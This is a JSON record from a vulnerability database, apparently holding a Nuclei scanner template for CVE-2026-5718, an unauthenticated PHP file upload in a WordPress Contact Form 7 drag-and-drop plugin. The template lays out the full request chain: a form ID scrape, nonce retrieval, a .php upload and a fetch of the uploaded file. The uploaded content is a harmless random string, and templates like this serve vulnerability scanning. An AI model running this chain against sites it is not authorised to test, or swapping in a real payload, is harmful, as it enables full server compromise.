{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-5718/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-5718/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-5718/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-5718/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-5718/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-5718"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-5718"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-5718.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-5718\n\ninfo:\n  name: Drag and Drop Multiple File Upload - CF7 <= 1.3.9.6 - Remote Code Execution\n  author: zer0p0int\n  severity: critical\n  description: |\n   Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin <= 1.3.9.6 contains an unrestricted file upload caused by insufficient file type validation and bypass of filename sanitization with non-ASCII characters, letting unauthenticated attackers upload arbitrary files and achieve remote code execution.\n  impact: |\n   Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.\n  remediation: |\n   Update to the latest version beyond 1.3.9.6.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-5718\n    - https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-5718\n    epss-score: 0.04175\n    epss-percentile: 0.90945\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: codedropz\n    product: drag-and-drop-multiple-file-upload-contact-form-7\n    publicwww-query: \"/wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/\"\n  tags: cve,cve2026,wordpress,wp-plugin,file-upload,rce,intrusive,unauth,vkev\n\nvariables:\n  string: \"{{randstr}}\"\n  filename: \"{{to_lower(rand_text_alpha(6))}}\"\n\nflow: http(1) && http(2) && http(3) && http(4)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n      - \"{{BaseURL}}/contact\"\n      - \"{{BaseURL}}/contact-us\"\n\n    stop-at-first-match: true\n    host-redirects: true\n    max-redirects: 2\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"_wpcf7\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: form_id\n        group: 1\n        part: body\n        regex:\n          - '_wpcf7\"(?:[^>]*value=\"|:)(\\d+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=_wpcf7_check_nonce\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"data\\\"\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: nonce\n        group: 1\n        part: body\n        regex:\n          - '\"data\":\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=---------------------------cf7dndboundary\n\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"action\"\n\n        dnd_codedropz_upload\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"security\"\n\n        {{nonce}}\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"form_id\"\n\n        {{form_id}}\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"upload_name\"\n\n        upload-file\n        -----------------------------cf7dndboundary\n        Content-Disposition: form-data; name=\"upload-file\"; filename=\"{{filename}}.php\"\n        Content-Type: application/octet-stream\n\n        {{string}}\n        -----------------------------cf7dndboundary--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"\\\"success\\\":true\", \"\\\"file\\\"\")'\n        internal: true\n        condition: and\n\n    extractors:\n      - type: regex\n        name: renamed\n        group: 1\n        part: body\n        regex:\n          - '\"file\":\"([^\"]+)\"'\n        internal: true\n\n      - type: regex\n        name: path\n        group: 1\n        part: body\n        regex:\n          - '\"path\":\"([^\"]+)\"'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/uploads/wp_dndcf7_uploads/{{path}}/{{renamed}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, string)'\n        condition: and\n# digest: 4a0a00473045022100b5ebca3fccd641a214632f0c78ee5f59ad065aebf8ac02a35d455b8b73d8b6b502204cb1f1b894f323c8d47f5dba218c3e566e22ca8250230fe670f49353c4b83849:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-5718"
}